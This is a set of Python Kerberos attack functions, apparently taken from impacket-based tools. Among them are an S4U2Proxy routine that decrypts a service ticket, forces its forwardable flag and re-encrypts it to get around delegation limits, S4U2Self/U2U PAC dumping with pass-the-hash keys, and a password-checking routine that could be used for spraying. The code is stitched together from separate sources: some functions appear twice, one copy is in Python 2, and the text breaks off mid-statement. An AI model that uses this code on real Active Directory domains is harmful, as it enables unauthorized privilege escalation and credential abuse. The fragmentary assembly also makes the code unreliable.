def doS4U2ProxyWithAdditionalTicket(self, tgt, cipher, oldSessionKey, sessionKey, nthash, aesKey, kdcHost, additional_ticket_path): if not os.path.isfile(additional_ticket_path): logging.error("Ticket %s doesn't exist" % additional_ticket_path) exit(0) else: decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] logging.info("\tUsing additional ticket %s instead of S4U2Self" % additional_ticket_path) ccache = CCache.loadFile(additional_ticket_path) principal = ccache.credentials[0].header['server'].prettyPrint() creds = ccache.getCredential(principal.decode()) TGS = creds.toTGS(principal) tgs = decoder.decode(TGS['KDC_REP'], asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) if self.__force_forwardable: # Convert hashes to binary form, just in case we're receiving strings if isinstance(nthash, str): try: nthash = unhexlify(nthash) except TypeError: pass if isinstance(aesKey, str): try: aesKey = unhexlify(aesKey) except TypeError: pass # Compute NTHash and AESKey if they're not provided in arguments if self.__password != '' and self.__domain != '' and self.__user != '': if not nthash: nthash = compute_nthash(self.__password) if logging.getLogger().level == logging.DEBUG: logging.debug('NTHash') print(hexlify(nthash).decode()) if not aesKey: salt = self.__domain.upper() + self.__user aesKey = _AES256CTS.string_to_key(self.__password, salt, params=None).contents if logging.getLogger().level == logging.DEBUG: logging.debug('AESKey') print(hexlify(aesKey).decode()) # Get the encrypted ticket returned in the TGS. It's encrypted with one of our keys cipherText = tgs['ticket']['enc-part']['cipher'] # Check which cipher was used to encrypt the ticket. It's not always the same # This determines which of our keys we should use for decryption/re-encryption newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] if newCipher.enctype == Enctype.RC4: key = Key(newCipher.enctype, nthash) else: key = Key(newCipher.enctype, aesKey) # Decrypt and decode the ticket # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) plainText = newCipher.decrypt(key, 2, cipherText) encTicketPart = decoder.decode(plainText, asn1Spec=EncTicketPart())[0] # Print the flags in the ticket before modification logging.debug('\tService ticket from S4U2self flags: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket from S4U2self is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Customize flags the forwardable flag is the only one that really matters logging.info('\tForcing the service ticket to be forwardable') # convert to string of bits flagBits = encTicketPart['flags'].asBinary() # Set the forwardable flag. Awkward binary string insertion flagBits = flagBits[:TicketFlags.forwardable.value] + '1' + flagBits[TicketFlags.forwardable.value + 1:] # Overwrite the value with the new bits encTicketPart['flags'] = encTicketPart['flags'].clone(value=flagBits) # Update flags logging.debug('\tService ticket flags after modification: ' + str(encTicketPart['flags'])) logging.debug('\tService ticket now is' + ('' if (encTicketPart['flags'][TicketFlags.forwardable.value] == 1) else ' not') + ' forwardable') # Re-encode and re-encrypt the ticket # Again, Key Usage 2 encodedEncTicketPart = encoder.encode(encTicketPart) cipherText = newCipher.encrypt(key, 2, encodedEncTicketPart, None) # put it back in the TGS tgs['ticket']['enc-part']['cipher'] = cipherText ################################################################################ # Up until here was all the S4USelf stuff. Now let's start with S4U2Proxy # So here I have a ST for me.. I now want a ST for another service # Extract the ticket from the TGT ticketTGT = Ticket() ticketTGT.from_asn1(decodedTGT['ticket']) # Get the service ticket ticket = Ticket() ticket.from_asn1(tgs['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticketTGT.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # Add resource-based constrained delegation support paPacOptions = PA_PAC_OPTIONS() paPacOptions['flags'] = constants.encodeFlags((constants.PAPacOptions.resource_based_constrained_delegation.value,)) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = constants.PreAuthenticationDataTypes.PA_PAC_OPTIONS.value tgsReq['padata'][1]['padata-value'] = encoder.encode(paPacOptions) reqBody = seq_set(tgsReq, 'req-body') opts = list() # This specified we're doing S4U opts.append(constants.KDCOptions.cname_in_addl_tkt.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) reqBody['kdc-options'] = constants.encodeFlags(opts) service2 = Principal(self.__options.spn, type=constants.PrincipalNameType.NT_SRV_INST.value) seq_set(reqBody, 'sname', service2.components_to_asn1) reqBody['realm'] = self.__domain myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', ( int(constants.EncryptionTypes.rc4_hmac.value), int(constants.EncryptionTypes.des3_cbc_sha1_kd.value), int(constants.EncryptionTypes.des_cbc_md5.value), int(cipher.enctype) ) ) message = encoder.encode(tgsReq) logging.info('\tRequesting S4U2Proxy') r = sendReceive(message, self.__domain, kdcHost) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] cipherText = tgs['enc-part']['cipher'] # Key Usage 8 # TGS-REP encrypted part (includes application session # key), encrypted with the TGS session key (Section 5.4.2) plainText = cipher.decrypt(sessionKey, 8, cipherText) encTGSRepPart = decoder.decode(plainText, asn1Spec=EncTGSRepPart())[0] newSessionKey = Key(encTGSRepPart['key']['keytype'], encTGSRepPart['key']['keyvalue']) # Creating new cipher based on received keytype cipher = _enctype_table[encTGSRepPart['key']['keytype']] return r, cipher, sessionKey, newSessionKey
def getKerberosType1(username, password, domain, lmhash, nthash, aesKey='', TGT = None, TGS = None, targetName='', kdcHost = None, useCache = True): if TGT is None and TGS is None: if useCache is True: try: ccache = CCache.loadFile(os.getenv('KRB5CCNAME')) except Exception: # No cache present pass else: # retrieve domain information from CCache file if needed if domain == '': domain = ccache.principal.realm['data'].decode('utf-8') LOG.debug('Domain retrieved from CCache: %s' % domain) LOG.debug("Using Kerberos Cache: %s" % os.getenv('KRB5CCNAME')) principal = 'host/%s@%s' % (targetName.upper(), domain.upper()) creds = ccache.getCredential(principal) if creds is None: # Let's try for the TGT and go from there principal = 'krbtgt/%s@%s' % (domain.upper(),domain.upper()) creds = ccache.getCredential(principal) if creds is not None: TGT = creds.toTGT() LOG.debug('Using TGT from cache') else: LOG.debug("No valid credentials found in cache. ") else: TGS = creds.toTGS(principal) # retrieve user information from CCache file if needed if username == '' and creds is not None: username = creds['client'].prettyPrint().split(b'@')[0] LOG.debug('Username retrieved from CCache: %s' % username) elif username == '' and len(ccache.principal.components) > 0: username = ccache.principal.components[0]['data'] LOG.debug('Username retrieved from CCache: %s' % username) # First of all, we need to get a TGT for the user userName = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) while True: if TGT is None: if TGS is None: try: tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, password, domain, lmhash, nthash, aesKey, kdcHost) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) continue else: raise else: raise else: tgt = TGT['KDC_REP'] cipher = TGT['cipher'] sessionKey = TGT['sessionKey'] # Now that we have the TGT, we should ask for a TGS for cifs if TGS is None: serverName = Principal('host/%s' % targetName, type=constants.PrincipalNameType.NT_SRV_INST.value) try: tgs, cipher, oldSessionKey, sessionKey = getKerberosTGS(serverName, domain, kdcHost, tgt, cipher, sessionKey) except KerberosError as e: if e.getErrorCode() == constants.ErrorCodes.KDC_ERR_ETYPE_NOSUPP.value: # We might face this if the target does not support AES # So, if that's the case we'll force using RC4 by converting # the password to lm/nt hashes and hope for the best. If that's already # done, byebye. if lmhash is '' and nthash is '' and (aesKey is '' or aesKey is None) and TGT is None and TGS is None: from impacket.ntlm import compute_lmhash, compute_nthash LOG.debug('Got KDC_ERR_ETYPE_NOSUPP, fallback to RC4') lmhash = compute_lmhash(password) nthash = compute_nthash(password) else: raise else: raise else: break else: tgs = TGS['KDC_REP'] cipher = TGS['cipher'] sessionKey = TGS['sessionKey'] break # Let's build a NegTokenInit with a Kerberos REQ_AP blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec = TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() opts.append(constants.APOptions.mutual_required.value) apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', userName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) authenticator['cksum'] = noValue authenticator['cksum']['cksumtype'] = 0x8003 chkField = CheckSumField() chkField['Lgth'] = 16 chkField['Flags'] = GSS_C_CONF_FLAG | GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE #chkField['Flags'] = GSS_C_INTEG_FLAG | GSS_C_SEQUENCE_FLAG | GSS_C_REPLAY_FLAG | GSS_C_MUTUAL_FLAG | GSS_C_DCE_STYLE authenticator['cksum']['checksum'] = chkField.getData() authenticator['seq-number'] = 0 encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = struct.pack('B', ASN1_AID) + asn1encode( struct.pack('B', ASN1_OID) + asn1encode( TypesMech['KRB5 - Kerberos 5'] ) + KRB5_AP_REQ + encoder.encode(apReq)) return cipher, sessionKey, blob.getData()
def dump(self, addr): # Try all requested protocols until one works. userName = Principal( self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT( userName, self.__password, self.__domain, unhexlify(self.__lmhash), unhexlify(self.__nthash)) decodedTGT = decoder.decode(tgt, asn1Spec=AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1(decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print(authenticator.prettyPrint()) print('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal( self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack( '<I', constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += b(self.__behalfUser) + b(self.__domain) + b'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int( constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print(paForUserEnc.prettyPrint()) encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int( constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.renewable_ok.value) opts.append(constants.KDCOptions.canonicalize.value) opts.append(constants.KDCOptions.enc_tkt_in_skey.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal( self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value) #serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int( cipher.enctype), int(constants.EncryptionTypes.rc4_hmac.value))) # If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket, )) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print(tgsReq.prettyPrint()) message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec=TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print(tgs.prettyPrint()) cipherText = tgs['ticket']['enc-part']['cipher'] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] # Pass the hash/aes key :P if self.__nthash != '' and (isinstance(self.__nthash, bytes) and self.__nthash != b''): key = Key(newCipher.enctype, unhexlify(self.__nthash)) else: if newCipher.enctype == Enctype.RC4: key = newCipher.string_to_key(password, '', None) else: key = newCipher.string_to_key( password, self.__domain.upper() + self.__username, None) try: # If is was plain U2U, this is the key plainText = newCipher.decrypt(key, 2, str(cipherText)) except: # S4USelf + U2U uses this other key plainText = cipher.decrypt(sessionKey, 2, cipherText) self.printPac(plainText)
def ldap_kerberos(domain, kdc, tgt, username, ldapconnection, hostname): # Hackery to authenticate with ldap3 using impacket Kerberos stack # I originally wrote this for BloodHound.py, but it works fine (tm) here too username = Principal(username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) servername = Principal('ldap/%s' % hostname, type=constants.PrincipalNameType.NT_SRV_INST.value) tgs, cipher, _, sessionkey = getKerberosTGS(servername, domain, kdc, tgt['KDC_REP'], tgt['cipher'], tgt['sessionKey']) # Let's build a NegTokenInit with a Kerberos AP_REQ blob = SPNEGO_NegTokenInit() # Kerberos blob['MechTypes'] = [TypesMech['MS KRB5 - Microsoft Kerberos 5']] # Let's extract the ticket from the TGS tgs = decoder.decode(tgs, asn1Spec=TGS_REP())[0] ticket = Ticket() ticket.from_asn1(tgs['ticket']) # Now let's build the AP_REQ apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = [] apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq, 'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = domain seq_set(authenticator, 'cname', username.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) encodedAuthenticator = encoder.encode(authenticator) # Key Usage 11 # AP-REQ Authenticator (includes application authenticator # subkey), encrypted with the application session key # (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionkey, 11, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator blob['MechToken'] = encoder.encode(apReq) # From here back to ldap3 ldapconnection.open(read_server_info=False) request = bind_operation(ldapconnection.version, SASL, None, None, ldapconnection.sasl_mechanism, blob.getData()) response = ldapconnection.post_send_single_response( ldapconnection.send('bindRequest', request, None))[0] ldapconnection.result = response if response['result'] == 0: ldapconnection.bound = True ldapconnection.refresh_server_info() return response['result'] == 0
def verify_kerberos_password(user, password, domain, kdc_host=None, request_pac=True, host_names=None, source_ip=None): host_names = host_names or [] clientName = Principal(user, type=constants.PrincipalNameType.NT_PRINCIPAL.value) domain = domain.upper() serverName = Principal("krbtgt/%s" % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest["include-pac"] = request_pac encodedPacRequest = encoder.encode(pacRequest) enctype = constants.EncryptionTypes.rc4_hmac.value encryptionTypesData = None # RC4 doesn"t have salt cipher = _enctype_table[enctype] salt = encryptionTypesData[enctype] if encryptionTypesData else '' key = cipher.string_to_key(password, salt, None) # Let"s build the timestamp timeStamp = PA_ENC_TS_ENC() now = datetime.datetime.utcnow() timeStamp["patimestamp"] = KerberosTime.to_asn1(now) timeStamp["pausec"] = now.microsecond encodedTimeStamp = encoder.encode(timeStamp) # Key Usage 1 # AS-REQ PA-ENC-TIMESTAMP padata timestamp, encrypted with the # client key (Section 5.2.7.2) encriptedTimeStamp = cipher.encrypt(key, 1, encodedTimeStamp, None) encryptedData = EncryptedData() encryptedData["etype"] = cipher.enctype encryptedData["cipher"] = encriptedTimeStamp encodedEncryptedData = encoder.encode(encryptedData) # Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = noValue asReq['padata'][0] = noValue asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = noValue asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append(constants.KDCOptions.forwardable.value) opts.append(constants.KDCOptions.renewable.value) opts.append(constants.KDCOptions.proxiable.value) reqBody["kdc-options"] = constants.encodeFlags(opts) seq_set(reqBody, "sname", serverName.components_to_asn1) seq_set(reqBody, "cname", clientName.components_to_asn1) reqBody["realm"] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody["till"] = KerberosTime.to_asn1(now) reqBody["rtime"] = KerberosTime.to_asn1(now) reqBody["nonce"] = random.getrandbits(31) seq_set_iter(reqBody, "etype", ((int(cipher.enctype),))) try: tgt = sendReceive(encoder.encode(asReq), domain, kdc_host) except Exception as e: if str(e).find('KDC_ERR_PREAUTH_FAILED') >= 0: return False raise return True
# Now prepare the new AS_REQ again with the PADATA # ToDo: cannot we reuse the previous one? asReq = AS_REQ() asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = None asReq['padata'][0] = None asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_ENC_TIMESTAMP.value) asReq['padata'][0]['padata-value'] = encodedEncryptedData asReq['padata'][1] = None asReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][1]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = KerberosTime.to_asn1(now)
def dump(self, addr): # Try all requested protocols until one works. userName = Principal(self.__username, type=constants.PrincipalNameType.NT_PRINCIPAL.value) tgt, cipher, oldSessionKey, sessionKey = getKerberosTGT(userName, self.__password, self.__domain, self.__lmhash.decode('hex'), self.__nthash.decode('hex')) decodedTGT = decoder.decode(tgt, asn1Spec = AS_REP())[0] # Extract the ticket from the TGT ticket = Ticket() ticket.from_asn1(decodedTGT['ticket']) apReq = AP_REQ() apReq['pvno'] = 5 apReq['msg-type'] = int(constants.ApplicationTagNumbers.AP_REQ.value) opts = list() apReq['ap-options'] = constants.encodeFlags(opts) seq_set(apReq,'ticket', ticket.to_asn1) authenticator = Authenticator() authenticator['authenticator-vno'] = 5 authenticator['crealm'] = str(decodedTGT['crealm']) clientName = Principal() clientName.from_asn1( decodedTGT, 'crealm', 'cname') seq_set(authenticator, 'cname', clientName.components_to_asn1) now = datetime.datetime.utcnow() authenticator['cusec'] = now.microsecond authenticator['ctime'] = KerberosTime.to_asn1(now) if logging.getLogger().level == logging.DEBUG: logging.debug('AUTHENTICATOR') print authenticator.prettyPrint() print ('\n') encodedAuthenticator = encoder.encode(authenticator) # Key Usage 7 # TGS-REQ PA-TGS-REQ padata AP-REQ Authenticator (includes # TGS authenticator subkey), encrypted with the TGS session # key (Section 5.5.1) encryptedEncodedAuthenticator = cipher.encrypt(sessionKey, 7, encodedAuthenticator, None) apReq['authenticator'] = noValue apReq['authenticator']['etype'] = cipher.enctype apReq['authenticator']['cipher'] = encryptedEncodedAuthenticator encodedApReq = encoder.encode(apReq) tgsReq = TGS_REQ() tgsReq['pvno'] = 5 tgsReq['msg-type'] = int(constants.ApplicationTagNumbers.TGS_REQ.value) tgsReq['padata'] = noValue tgsReq['padata'][0] = noValue tgsReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_TGS_REQ.value) tgsReq['padata'][0]['padata-value'] = encodedApReq # In the S4U2self KRB_TGS_REQ/KRB_TGS_REP protocol extension, a service # requests a service ticket to itself on behalf of a user. The user is # identified to the KDC by the user's name and realm. clientName = Principal(self.__behalfUser, type=constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray = struct.pack('<I',constants.PrincipalNameType.NT_PRINCIPAL.value) S4UByteArray += self.__behalfUser + self.__domain + 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('S4UByteArray') hexdump(S4UByteArray) # Finally cksum is computed by calling the KERB_CHECKSUM_HMAC_MD5 hash # with the following three parameters: the session key of the TGT of # the service performing the S4U2Self request, the message type value # of 17, and the byte array S4UByteArray. checkSum = _HMACMD5.checksum(sessionKey, 17, S4UByteArray) if logging.getLogger().level == logging.DEBUG: logging.debug('CheckSum') hexdump(checkSum) paForUserEnc = PA_FOR_USER_ENC() seq_set(paForUserEnc, 'userName', clientName.components_to_asn1) paForUserEnc['userRealm'] = self.__domain paForUserEnc['cksum'] = noValue paForUserEnc['cksum']['cksumtype'] = int(constants.ChecksumTypes.hmac_md5.value) paForUserEnc['cksum']['checksum'] = checkSum paForUserEnc['auth-package'] = 'Kerberos' if logging.getLogger().level == logging.DEBUG: logging.debug('PA_FOR_USER_ENC') print paForUserEnc.prettyPrint() encodedPaForUserEnc = encoder.encode(paForUserEnc) tgsReq['padata'][1] = noValue tgsReq['padata'][1]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_FOR_USER.value) tgsReq['padata'][1]['padata-value'] = encodedPaForUserEnc reqBody = seq_set(tgsReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.renewable_ok.value ) opts.append( constants.KDCOptions.canonicalize.value ) opts.append(constants.KDCOptions.enc_tkt_in_skey.value) reqBody['kdc-options'] = constants.encodeFlags(opts) serverName = Principal(self.__username, type=constants.PrincipalNameType.NT_UNKNOWN.value) #serverName = Principal('krbtgt/%s' % domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) seq_set(reqBody, 'sname', serverName.components_to_asn1) reqBody['realm'] = str(decodedTGT['crealm']) now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['nonce'] = random.getrandbits(31) seq_set_iter(reqBody, 'etype', (int(cipher.enctype),int(constants.EncryptionTypes.rc4_hmac.value))) # If you comment these two lines plus enc_tkt_in_skey as option, it is bassically a S4USelf myTicket = ticket.to_asn1(TicketAsn1()) seq_set_iter(reqBody, 'additional-tickets', (myTicket,)) if logging.getLogger().level == logging.DEBUG: logging.debug('Final TGS') print tgsReq.prettyPrint() message = encoder.encode(tgsReq) r = sendReceive(message, self.__domain, None) tgs = decoder.decode(r, asn1Spec = TGS_REP())[0] if logging.getLogger().level == logging.DEBUG: logging.debug('TGS_REP') print tgs.prettyPrint() cipherText = tgs['ticket']['enc-part']['cipher'] # Key Usage 2 # AS-REP Ticket and TGS-REP Ticket (includes tgs session key or # application session key), encrypted with the service key # (section 5.4.2) newCipher = _enctype_table[int(tgs['ticket']['enc-part']['etype'])] # Pass the hash/aes key :P if self.__nthash != '': key = Key(newCipher.enctype, self.__nthash.decode('hex')) else: if newCipher.enctype == Enctype.RC4: key = newCipher.string_to_key(password, '', None) else: key = newCipher.string_to_key(password, self.__domain.upper()+self.__username, None) try: # If is was plain U2U, this is the key plainText = newCipher.decrypt(key, 2, str(cipherText)) except: # S4USelf + U2U uses this other key plainText = cipher.decrypt(sessionKey, 2, str(cipherText)) self.printPac(plainText)
def getKerberosTGT(clientName, password, domain, lmhash, nthash, aesKey='', kdcHost=None, requestPAC=True): asReq = AS_REQ() domain = domain.upper() serverName = Principal('krbtgt/%s'%domain, type=constants.PrincipalNameType.NT_PRINCIPAL.value) pacRequest = KERB_PA_PAC_REQUEST() pacRequest['include-pac'] = requestPAC encodedPacRequest = encoder.encode(pacRequest) asReq['pvno'] = 5 asReq['msg-type'] = int(constants.ApplicationTagNumbers.AS_REQ.value) asReq['padata'] = None asReq['padata'][0] = None asReq['padata'][0]['padata-type'] = int(constants.PreAuthenticationDataTypes.PA_PAC_REQUEST.value) asReq['padata'][0]['padata-value'] = encodedPacRequest reqBody = seq_set(asReq, 'req-body') opts = list() opts.append( constants.KDCOptions.forwardable.value ) opts.append( constants.KDCOptions.renewable.value ) opts.append( constants.KDCOptions.proxiable.value ) reqBody['kdc-options'] = constants.encodeFlags(opts) seq_set(reqBody, 'sname', serverName.components_to_asn1) seq_set(reqBody, 'cname', clientName.components_to_asn1) if domain == '': raise Exception('Empty Domain not allowed in Kerberos') reqBody['realm'] = domain now = datetime.datetime.utcnow() + datetime.timedelta(days=1) reqBody['till'] = KerberosTime.to_asn1(now) reqBody['rtime'] = 